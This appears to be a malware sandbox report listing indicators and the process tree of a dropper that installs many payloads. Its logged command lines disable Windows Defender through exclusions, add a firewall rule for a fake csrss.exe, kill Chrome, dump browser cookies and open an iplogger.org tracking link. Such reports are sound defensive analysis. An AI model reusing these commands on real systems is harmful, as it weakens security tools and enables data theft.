Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-532 = "Sri Lanka Standard Time" Info.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-251 = "Dateline Daylight Time" Info.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2592 = "Tocantins Standard Time" Info.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-451 = "Caucasus Daylight Time" Info.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-435 = "Georgian Standard Time" Info.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-631 = "Tokyo Daylight Time" Info.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2752 = "Tomsk Standard Time" Info.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-721 = "Central Pacific Daylight Time" Info.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2531 = "Chatham Islands Daylight Time" Info.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-335 = "Jordan Standard Time" Info.exe -
Modifies registry class 1 IoCs
Processes:
msedge.exedescription ioc process Key created \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{1f3427c8-5c10-4210-aa03-2ee45287d668}\Instance\ msedge.exe -
Suspicious behavior: EnumeratesProcesses 64 IoCs
Processes:
pub2.exejfiag3g_gg.exemsedge.exepid process 2336 pub2.exe 2336 pub2.exe 2216 jfiag3g_gg.exe 2216 jfiag3g_gg.exe 3112 msedge.exe 3112 msedge.exe 896 896 896 896 896 896 896 896 896 896 896 896 896 896 896 896 896 896 896 896 896 896 896 896 896 896 896 896 896 896 896 896 896 896 896 896 896 896 896 896 896 896 896 896 896 896 896 896 896 896 896 896 896 896 896 896 896 896 -
Suspicious behavior: MapViewOfSection 1 IoCs
Processes:
pub2.exepid process 2336 pub2.exe -
Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 4 IoCs
Processes:
msedge.exepid process 2352 msedge.exe 2352 msedge.exe 2352 msedge.exe 2352 msedge.exe -
Suspicious use of AdjustPrivilegeToken 64 IoCs
Processes:
KRSetp.exeInstall.exetaskkill.exemd9_1sjm.exeInfo.exesvchost.exeInfo.exedescription pid process Token: SeDebugPrivilege 3424 KRSetp.exe Token: SeCreateTokenPrivilege 3296 Install.exe Token: SeAssignPrimaryTokenPrivilege 3296 Install.exe Token: SeLockMemoryPrivilege 3296 Install.exe Token: SeIncreaseQuotaPrivilege 3296 Install.exe Token: SeMachineAccountPrivilege 3296 Install.exe Token: SeTcbPrivilege 3296 Install.exe Token: SeSecurityPrivilege 3296 Install.exe Token: SeTakeOwnershipPrivilege 3296 Install.exe Token: SeLoadDriverPrivilege 3296 Install.exe Token: SeSystemProfilePrivilege 3296 Install.exe Token: SeSystemtimePrivilege 3296 Install.exe Token: SeProfSingleProcessPrivilege 3296 Install.exe Token: SeIncBasePriorityPrivilege 3296 Install.exe Token: SeCreatePagefilePrivilege 3296 Install.exe Token: SeCreatePermanentPrivilege 3296 Install.exe Token: SeBackupPrivilege 3296 Install.exe Token: SeRestorePrivilege 3296 Install.exe Token: SeShutdownPrivilege 3296 Install.exe Token: SeDebugPrivilege 3296 Install.exe Token: SeAuditPrivilege 3296 Install.exe Token: SeSystemEnvironmentPrivilege 3296 Install.exe Token: SeChangeNotifyPrivilege 3296 Install.exe Token: SeRemoteShutdownPrivilege 3296 Install.exe Token: SeUndockPrivilege 3296 Install.exe Token: SeSyncAgentPrivilege 3296 Install.exe Token: SeEnableDelegationPrivilege 3296 Install.exe Token: SeManageVolumePrivilege 3296 Install.exe Token: SeImpersonatePrivilege 3296 Install.exe Token: SeCreateGlobalPrivilege 3296 Install.exe Token: 31 3296 Install.exe Token: 32 3296 Install.exe Token: 33 3296 Install.exe Token: 34 3296 Install.exe Token: 35 3296 Install.exe Token: SeDebugPrivilege 2936 taskkill.exe Token: SeShutdownPrivilege 896 Token: SeCreatePagefilePrivilege 896 Token: SeManageVolumePrivilege 3924 md9_1sjm.exe Token: SeDebugPrivilege 944 Info.exe Token: SeImpersonatePrivilege 944 Info.exe Token: SeTcbPrivilege 5080 svchost.exe Token: SeTcbPrivilege 5080 svchost.exe Token: SeShutdownPrivilege 896 Token: SeCreatePagefilePrivilege 896 Token: SeShutdownPrivilege 896 Token: SeCreatePagefilePrivilege 896 Token: SeShutdownPrivilege 896 Token: SeCreatePagefilePrivilege 896 Token: SeShutdownPrivilege 896 Token: SeCreatePagefilePrivilege 896 Token: SeShutdownPrivilege 896 Token: SeCreatePagefilePrivilege 896 Token: SeShutdownPrivilege 896 Token: SeCreatePagefilePrivilege 896 Token: SeShutdownPrivilege 896 Token: SeCreatePagefilePrivilege 896 Token: SeSystemEnvironmentPrivilege 4208 Info.exe Token: SeShutdownPrivilege 896 Token: SeCreatePagefilePrivilege 896 Token: SeShutdownPrivilege 896 Token: SeCreatePagefilePrivilege 896 Token: SeShutdownPrivilege 896 Token: SeCreatePagefilePrivilege 896 -
Suspicious use of FindShellTrayWindow 10 IoCs
Processes:
mysetold.exemsedge.exepid process 3364 mysetold.exe 3364 mysetold.exe 3364 mysetold.exe 3364 mysetold.exe 3364 mysetold.exe 3364 mysetold.exe 2352 msedge.exe 2352 msedge.exe 896 2352 msedge.exe -
Suspicious use of SendNotifyMessage 6 IoCs
Processes:
mysetold.exepid process 3364 mysetold.exe 3364 mysetold.exe 3364 mysetold.exe 3364 mysetold.exe 3364 mysetold.exe 3364 mysetold.exe -
Suspicious use of SetWindowsHookEx 21 IoCs
Processes:
Installation.exeComplete.exepR1C_OxjOljUslIcX4EtNPgm.exebVS99lhn25JX6Td97qp14D4y.exeYeFRXL3wfWgO98N68gYSX_3h.execCt3hT7czzGA2Yf5buspOpOj.exeb6e37P26y9WWsQ79grsJVVpS.exedGwyTnqolkg0z3MDdSPfIwC2.exe4c446prMjygLywYLVit3f5Zx.exeBUy7Fo4SWeP9p9LmzEVlOY2P.exeqlZQl2mdh9fezJ3rCi0_ekDK.exeMXUX4u9qRGoTBTr0eIBPJBxf.exejhEbvi9orSg42z6xNcL05Xur.exez4zS7bAk2L3sw0tBeQZYY8Qr.exeL5Nn78pIEqXDKMD0vlGB809U.exek9gXQp2ZOezo392GSEbeNl8r.exeAppLaunch.exeAppLaunch.exeAppLaunch.exeInstall.exeAdvancedRun.exepid process 388 Installation.exe 2480 Complete.exe 4912 pR1C_OxjOljUslIcX4EtNPgm.exe 696 bVS99lhn25JX6Td97qp14D4y.exe 4544 YeFRXL3wfWgO98N68gYSX_3h.exe 4580 cCt3hT7czzGA2Yf5buspOpOj.exe 2512 b6e37P26y9WWsQ79grsJVVpS.exe 3804 dGwyTnqolkg0z3MDdSPfIwC2.exe 992 4c446prMjygLywYLVit3f5Zx.exe 4460 BUy7Fo4SWeP9p9LmzEVlOY2P.exe 5380 qlZQl2mdh9fezJ3rCi0_ekDK.exe 5512 MXUX4u9qRGoTBTr0eIBPJBxf.exe 5388 jhEbvi9orSg42z6xNcL05Xur.exe 5344 z4zS7bAk2L3sw0tBeQZYY8Qr.exe 5352 L5Nn78pIEqXDKMD0vlGB809U.exe 5360 k9gXQp2ZOezo392GSEbeNl8r.exe 4228 AppLaunch.exe 1564 AppLaunch.exe 572 AppLaunch.exe 4608 Install.exe 2320 AdvancedRun.exe -
Suspicious use of WriteProcessMemory 64 IoCs
Processes:
fd1c108097091384e0629782311a9adf19087f7fc33e503c4fad85027f5d749a.exeFiles.exemsedge.exeFolder.exeInstall.exerUNdlL32.eXecmd.exedescription pid process target process PID 2132 wrote to memory of 3672 2132 fd1c108097091384e0629782311a9adf19087f7fc33e503c4fad85027f5d749a.exe Files.exe PID 2132 wrote to memory of 3672 2132 fd1c108097091384e0629782311a9adf19087f7fc33e503c4fad85027f5d749a.exe Files.exe PID 2132 wrote to memory of 3672 2132 fd1c108097091384e0629782311a9adf19087f7fc33e503c4fad85027f5d749a.exe Files.exe PID 2132 wrote to memory of 3424 2132 fd1c108097091384e0629782311a9adf19087f7fc33e503c4fad85027f5d749a.exe KRSetp.exe PID 2132 wrote to memory of 3424 2132 fd1c108097091384e0629782311a9adf19087f7fc33e503c4fad85027f5d749a.exe KRSetp.exe PID 3672 wrote to memory of 1836 3672 Files.exe jfiag3g_gg.exe PID 3672 wrote to memory of 1836 3672 Files.exe jfiag3g_gg.exe PID 3672 wrote to memory of 1836 3672 Files.exe jfiag3g_gg.exe PID 2132 wrote to memory of 2352 2132 fd1c108097091384e0629782311a9adf19087f7fc33e503c4fad85027f5d749a.exe msedge.exe PID 2132 wrote to memory of 2352 2132 fd1c108097091384e0629782311a9adf19087f7fc33e503c4fad85027f5d749a.exe msedge.exe PID 2132 wrote to memory of 3296 2132 fd1c108097091384e0629782311a9adf19087f7fc33e503c4fad85027f5d749a.exe Install.exe PID 2132 wrote to memory of 3296 2132 fd1c108097091384e0629782311a9adf19087f7fc33e503c4fad85027f5d749a.exe Install.exe PID 2132 wrote to memory of 3296 2132 fd1c108097091384e0629782311a9adf19087f7fc33e503c4fad85027f5d749a.exe Install.exe PID 2132 wrote to memory of 644 2132 fd1c108097091384e0629782311a9adf19087f7fc33e503c4fad85027f5d749a.exe Folder.exe PID 2132 wrote to memory of 644 2132 fd1c108097091384e0629782311a9adf19087f7fc33e503c4fad85027f5d749a.exe Folder.exe PID 2132 wrote to memory of 644 2132 fd1c108097091384e0629782311a9adf19087f7fc33e503c4fad85027f5d749a.exe Folder.exe PID 2352 wrote to memory of 1028 2352 msedge.exe msedge.exe PID 2352 wrote to memory of 1028 2352 msedge.exe msedge.exe PID 2132 wrote to memory of 944 2132 fd1c108097091384e0629782311a9adf19087f7fc33e503c4fad85027f5d749a.exe Info.exe PID 2132 wrote to memory of 944 2132 fd1c108097091384e0629782311a9adf19087f7fc33e503c4fad85027f5d749a.exe Info.exe PID 2132 wrote to memory of 944 2132 fd1c108097091384e0629782311a9adf19087f7fc33e503c4fad85027f5d749a.exe Info.exe PID 2132 wrote to memory of 388 2132 fd1c108097091384e0629782311a9adf19087f7fc33e503c4fad85027f5d749a.exe Installation.exe PID 2132 wrote to memory of 388 2132 fd1c108097091384e0629782311a9adf19087f7fc33e503c4fad85027f5d749a.exe Installation.exe PID 2132 wrote to memory of 388 2132 fd1c108097091384e0629782311a9adf19087f7fc33e503c4fad85027f5d749a.exe Installation.exe PID 644 wrote to memory of 2024 644 Folder.exe Folder.exe PID 644 wrote to memory of 2024 644 Folder.exe Folder.exe PID 644 wrote to memory of 2024 644 Folder.exe Folder.exe PID 2132 wrote to memory of 2336 2132 fd1c108097091384e0629782311a9adf19087f7fc33e503c4fad85027f5d749a.exe pub2.exe PID 2132 wrote to memory of 2336 2132 fd1c108097091384e0629782311a9adf19087f7fc33e503c4fad85027f5d749a.exe pub2.exe PID 2132 wrote to memory of 2336 2132 fd1c108097091384e0629782311a9adf19087f7fc33e503c4fad85027f5d749a.exe pub2.exe PID 3296 wrote to memory of 2592 3296 Install.exe cmd.exe PID 3296 wrote to memory of 2592 3296 Install.exe cmd.exe PID 3296 wrote to memory of 2592 3296 Install.exe cmd.exe PID 2132 wrote to memory of 3364 2132 fd1c108097091384e0629782311a9adf19087f7fc33e503c4fad85027f5d749a.exe mysetold.exe PID 2132 wrote to memory of 3364 2132 fd1c108097091384e0629782311a9adf19087f7fc33e503c4fad85027f5d749a.exe mysetold.exe PID 2132 wrote to memory of 3364 2132 fd1c108097091384e0629782311a9adf19087f7fc33e503c4fad85027f5d749a.exe mysetold.exe PID 2132 wrote to memory of 3924 2132 fd1c108097091384e0629782311a9adf19087f7fc33e503c4fad85027f5d749a.exe md9_1sjm.exe PID 2132 wrote to memory of 3924 2132 fd1c108097091384e0629782311a9adf19087f7fc33e503c4fad85027f5d749a.exe md9_1sjm.exe PID 2132 wrote to memory of 3924 2132 fd1c108097091384e0629782311a9adf19087f7fc33e503c4fad85027f5d749a.exe md9_1sjm.exe PID 2132 wrote to memory of 2480 2132 fd1c108097091384e0629782311a9adf19087f7fc33e503c4fad85027f5d749a.exe Complete.exe PID 2132 wrote to memory of 2480 2132 fd1c108097091384e0629782311a9adf19087f7fc33e503c4fad85027f5d749a.exe Complete.exe PID 2132 wrote to memory of 2480 2132 fd1c108097091384e0629782311a9adf19087f7fc33e503c4fad85027f5d749a.exe Complete.exe PID 2364 wrote to memory of 3804 2364 rUNdlL32.eXe rundll32.exe PID 2364 wrote to memory of 3804 2364 rUNdlL32.eXe rundll32.exe PID 2364 wrote to memory of 3804 2364 rUNdlL32.eXe rundll32.exe PID 2592 wrote to memory of 2936 2592 cmd.exe taskkill.exe PID 2592 wrote to memory of 2936 2592 cmd.exe taskkill.exe PID 2592 wrote to memory of 2936 2592 cmd.exe taskkill.exe PID 3672 wrote to memory of 2216 3672 Files.exe jfiag3g_gg.exe PID 3672 wrote to memory of 2216 3672 Files.exe jfiag3g_gg.exe PID 3672 wrote to memory of 2216 3672 Files.exe jfiag3g_gg.exe PID 2352 wrote to memory of 1848 2352 msedge.exe msedge.exe PID 2352 wrote to memory of 1848 2352 msedge.exe msedge.exe PID 2352 wrote to memory of 1848 2352 msedge.exe msedge.exe PID 2352 wrote to memory of 1848 2352 msedge.exe msedge.exe PID 2352 wrote to memory of 1848 2352 msedge.exe msedge.exe PID 2352 wrote to memory of 1848 2352 msedge.exe msedge.exe PID 2352 wrote to memory of 1848 2352 msedge.exe msedge.exe PID 2352 wrote to memory of 1848 2352 msedge.exe msedge.exe PID 2352 wrote to memory of 1848 2352 msedge.exe msedge.exe PID 2352 wrote to memory of 1848 2352 msedge.exe msedge.exe PID 2352 wrote to memory of 1848 2352 msedge.exe msedge.exe PID 2352 wrote to memory of 1848 2352 msedge.exe msedge.exe PID 2352 wrote to memory of 1848 2352 msedge.exe msedge.exe
Processes
-
C:\Users\Admin\AppData\Local\Temp\fd1c108097091384e0629782311a9adf19087f7fc33e503c4fad85027f5d749a.exe"C:\Users\Admin\AppData\Local\Temp\fd1c108097091384e0629782311a9adf19087f7fc33e503c4fad85027f5d749a.exe"1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\Files.exe"C:\Users\Admin\AppData\Local\Temp\Files.exe"2⤵
- Executes dropped EXE
- Adds Run key to start application
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exeC:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt3⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exeC:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt3⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
-
C:\Users\Admin\AppData\Local\Temp\KRSetp.exe"C:\Users\Admin\AppData\Local\Temp\KRSetp.exe"2⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://iplogger.org/1wNij72⤵
- Enumerates system info in registry
- Modifies registry class
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
- Suspicious use of FindShellTrayWindow
- Suspicious use of WriteProcessMemory
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0xf8,0xfc,0x100,0xd4,0x104,0x7ffc0da346f8,0x7ffc0da34708,0x7ffc0da347183⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2136,3575164732278188366,4370530147212528642,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=2124 /prefetch:23⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=2136,3575164732278188366,4370530147212528642,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2220 /prefetch:33⤵
- Suspicious behavior: EnumeratesProcesses
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=2136,3575164732278188366,4370530147212528642,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2668 /prefetch:83⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2136,3575164732278188366,4370530147212528642,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3232 /prefetch:13⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2136,3575164732278188366,4370530147212528642,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3256 /prefetch:13⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2136,3575164732278188366,4370530147212528642,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=7 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5720 /prefetch:13⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2136,3575164732278188366,4370530147212528642,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=8 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5736 /prefetch:13⤵
-
C:\Users\Admin\AppData\Local\Temp\Install.exe"C:\Users\Admin\AppData\Local\Temp\Install.exe"2⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\cmd.execmd.exe /c taskkill /f /im chrome.exe3⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im chrome.exe4⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
C:\Users\Admin\AppData\Local\Temp\Folder.exe"C:\Users\Admin\AppData\Local\Temp\Folder.exe"2⤵
- Executes dropped EXE
- Checks computer location settings
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\Folder.exe"C:\Users\Admin\AppData\Local\Temp\Folder.exe" -a3⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\Info.exe"C:\Users\Admin\AppData\Local\Temp\Info.exe"2⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
-
C:\Users\Admin\AppData\Local\Temp\Info.exe"C:\Users\Admin\AppData\Local\Temp\Info.exe"3⤵
- Executes dropped EXE
- Adds Run key to start application
- Drops file in Windows directory
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\cmd.exeC:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes"4⤵
-
C:\Windows\system32\netsh.exenetsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes5⤵
-
C:\Windows\rss\csrss.exeC:\Windows\rss\csrss.exe /94-944⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\Installation.exe"C:\Users\Admin\AppData\Local\Temp\Installation.exe"2⤵
- Executes dropped EXE
- Checks computer location settings
- Suspicious use of SetWindowsHookEx
-
C:\Users\Admin\Pictures\Adobe Films\NE8n97eEvm3_P4xpm80GqL3y.exe"C:\Users\Admin\Pictures\Adobe Films\NE8n97eEvm3_P4xpm80GqL3y.exe"3⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\pub2.exe"C:\Users\Admin\AppData\Local\Temp\pub2.exe"2⤵
- Executes dropped EXE
- Checks SCSI registry key(s)
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
-
C:\Users\Admin\AppData\Local\Temp\mysetold.exe"C:\Users\Admin\AppData\Local\Temp\mysetold.exe"2⤵
- Executes dropped EXE
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
-
C:\Users\Admin\AppData\Local\Temp\md9_1sjm.exe"C:\Users\Admin\AppData\Local\Temp\md9_1sjm.exe"2⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
-
C:\Users\Admin\AppData\Local\Temp\Complete.exe"C:\Users\Admin\AppData\Local\Temp\Complete.exe"2⤵
- Executes dropped EXE
- Checks computer location settings
- Suspicious use of SetWindowsHookEx
-
C:\Users\Admin\Documents\vqF9D2ILvyTG9GOL8BNoI3F4.exe"C:\Users\Admin\Documents\vqF9D2ILvyTG9GOL8BNoI3F4.exe"3⤵
- Executes dropped EXE
- Checks computer location settings
-
C:\Users\Admin\AppData\Local\Temp\6e38ac8b-1bfd-4bc1-ad3b-a9b292de31c5.exe"C:\Users\Admin\AppData\Local\Temp\6e38ac8b-1bfd-4bc1-ad3b-a9b292de31c5.exe"4⤵
- Executes dropped EXE
-
C:\Users\Admin\Documents\nN316SYFG4Pm_8oiwozXU5Q6.exe"C:\Users\Admin\Documents\nN316SYFG4Pm_8oiwozXU5Q6.exe"3⤵
- Executes dropped EXE
- Checks computer location settings
- Windows security modification
- Drops file in Windows directory
-
C:\Users\Admin\AppData\Local\Temp\37024cb6-4ec5-474c-a6dc-6cd14e874b46\AdvancedRun.exe"C:\Users\Admin\AppData\Local\Temp\37024cb6-4ec5-474c-a6dc-6cd14e874b46\AdvancedRun.exe" /EXEFilename "C:\Users\Admin\AppData\Local\Temp\37024cb6-4ec5-474c-a6dc-6cd14e874b46\test.bat" /WindowState ""0"" /PriorityClass ""32"" /CommandLine "" /StartDirectory "" /RunAs 8 /Run4⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\37024cb6-4ec5-474c-a6dc-6cd14e874b46\test.bat"5⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\Documents\nN316SYFG4Pm_8oiwozXU5Q6.exe" -Force4⤵
-
C:\Users\Admin\AppData\Local\Temp\37024cb6-4ec5-474c-a6dc-6cd14e874b46\4cc426ea-e8ca-44b6-a0b4-6cab700a46b1.exe"C:\Users\Admin\AppData\Local\Temp\37024cb6-4ec5-474c-a6dc-6cd14e874b46\4cc426ea-e8ca-44b6-a0b4-6cab700a46b1.exe" /o /c "Windows-Defender" /r4⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionExtension "exe" -Force4⤵
-
C:\Users\Admin\Documents\pR1C_OxjOljUslIcX4EtNPgm.exe"C:\Users\Admin\Documents\pR1C_OxjOljUslIcX4EtNPgm.exe"3⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4912 -s 6244⤵
- Program crash
-
C:\Users\Admin\Documents\YeFRXL3wfWgO98N68gYSX_3h.exe"C:\Users\Admin\Documents\YeFRXL3wfWgO98N68gYSX_3h.exe"3⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4544 -s 4644⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4544 -s 4724⤵
- Program crash
-
C:\Users\Admin\Documents\BUy7Fo4SWeP9p9LmzEVlOY2P.exe"C:\Users\Admin\Documents\BUy7Fo4SWeP9p9LmzEVlOY2P.exe"3⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
-
C:\Users\Admin\Documents\dGwyTnqolkg0z3MDdSPfIwC2.exe"C:\Users\Admin\Documents\dGwyTnqolkg0z3MDdSPfIwC2.exe"3⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
-
C:\Users\Admin\AppData\Local\Temp\7zS4781.tmp\Install.exe.\Install.exe4⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
-
C:\Users\Admin\Documents\b6e37P26y9WWsQ79grsJVVpS.exe"C:\Users\Admin\Documents\b6e37P26y9WWsQ79grsJVVpS.exe"3⤵
- Executes dropped EXE
- Checks computer location settings
- Suspicious use of SetWindowsHookEx
-
C:\Windows\SysWOW64\svchost.exe"C:\Windows\System32\svchost.exe"4⤵
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c cmd < Detto.xla4⤵
-
C:\Windows\SysWOW64\cmd.execmd5⤵
-
C:\Users\Admin\Documents\8rLm8B85yGlJe4WQSfyabVgp.exe"C:\Users\Admin\Documents\8rLm8B85yGlJe4WQSfyabVgp.exe"3⤵
- Executes dropped EXE
-
C:\Users\Admin\Documents\4c446prMjygLywYLVit3f5Zx.exe"C:\Users\Admin\Documents\4c446prMjygLywYLVit3f5Zx.exe"3⤵
- Executes dropped EXE
- Loads dropped DLL
- Checks processor information in registry
- Suspicious use of SetWindowsHookEx
-
C:\Users\Admin\Documents\bVS99lhn25JX6Td97qp14D4y.exe"C:\Users\Admin\Documents\bVS99lhn25JX6Td97qp14D4y.exe"3⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of SetWindowsHookEx
-
C:\Users\Admin\Documents\ToMKh6IL486xDGxsWBqmoUsf.exe"C:\Users\Admin\Documents\ToMKh6IL486xDGxsWBqmoUsf.exe"3⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
-
C:\Users\Admin\Documents\ToMKh6IL486xDGxsWBqmoUsf.exe"C:\Users\Admin\Documents\ToMKh6IL486xDGxsWBqmoUsf.exe"4⤵
- Executes dropped EXE
-
C:\Users\Admin\Documents\ToMKh6IL486xDGxsWBqmoUsf.exe"C:\Users\Admin\Documents\ToMKh6IL486xDGxsWBqmoUsf.exe"4⤵
- Executes dropped EXE
-
C:\Users\Admin\Documents\cCt3hT7czzGA2Yf5buspOpOj.exe"C:\Users\Admin\Documents\cCt3hT7czzGA2Yf5buspOpOj.exe"3⤵
- Executes dropped EXE
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of SetThreadContext
- Suspicious use of SetWindowsHookEx
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe"4⤵
- Suspicious use of SetWindowsHookEx
-
C:\Users\Admin\Documents\L5Nn78pIEqXDKMD0vlGB809U.exe"C:\Users\Admin\Documents\L5Nn78pIEqXDKMD0vlGB809U.exe"3⤵
- Executes dropped EXE
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of SetThreadContext
- Suspicious use of SetWindowsHookEx
-
